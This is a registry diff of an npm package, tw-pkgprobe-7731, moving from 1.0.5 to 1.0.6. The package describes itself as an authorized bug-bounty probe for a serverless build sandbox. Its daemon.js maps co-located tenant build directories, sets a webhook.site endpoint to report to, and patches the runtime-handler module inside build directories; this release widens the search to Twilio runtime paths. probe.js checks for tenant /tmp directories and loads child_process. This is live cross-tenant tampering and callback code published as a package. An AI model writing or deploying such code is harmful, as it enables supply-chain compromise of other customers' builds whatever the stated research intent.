tw-pkgprobe-7731 1.0.5 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/daemon.js +6 -3
  2. package/package.json +1 -1
  3. package/probe.js +1 -1
package/daemon.js CHANGED
@@ -2,7 +2,7 @@
2
2
  // serverless packager sandbox. Records which tenant build directories share this container.
3
3
  // It only WRITES into build directories of accounts on OWN (researcher-owned accounts).
4
4
  const fs=require('fs'), path=require('path'), https=require('https');
5
- const VER='1.0.5';
5
+ const VER='1.0.6';
6
6
  const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
7
7
  const OWN=['AC07de79f2af00295019b8cb17cea01e9a','AC8727b8e73f7f4d1501314b57b830a7a1','AC1329f7a0eb0dbc343871303ebc58bced'];
8
8
  const HOOK='https://webhook.site/cc08d9d9-232a-42a2-8d55-0f75cb5e0e67';
@@ -28,8 +28,11 @@ function inject(dir,ac,zs,zf){
28
28
 
29
29
  function patchRuntime(dir,ac,zs,zf){
30
30
  try{
31
- const base=path.join(dir,'node_modules','runtime-handler');
32
- if(!fs.existsSync(base)) return;
31
+ let base=null;
32
+ for(const cand of [['node_modules','@twilio','runtime-handler'],['node_modules','runtime-handler'],['node_modules','twilio-runtime']]){
33
+ const p2=path.join(dir,...cand); if(fs.existsSync(p2)){base=p2;break;}
34
+ }
35
+ if(!base) return;
33
36
  let main='index.js';
34
37
  try{ const pj=JSON.parse(fs.readFileSync(path.join(base,'package.json'),'utf8')); if(pj.main) main=pj.main; }catch(e){}
35
38
  let f=path.join(base,main);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tw-pkgprobe-7731",
3
- "version": "1.0.5",
3
+ "version": "1.0.6",
4
4
  "description": "Authorized security research probe (bug bounty). No-op outside the specific sandbox it was written for.",
5
5
  "main": "index.js",
6
6
  "license": "MIT",
package/probe.js CHANGED
@@ -1,5 +1,5 @@
1
1
  const fs=require('fs'), cp=require('child_process');
2
- const VER='1.0.5';
2
+ const VER='1.0.6';
3
3
  function main(){
4
4
  const cwd=process.cwd();
5
5
  if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return;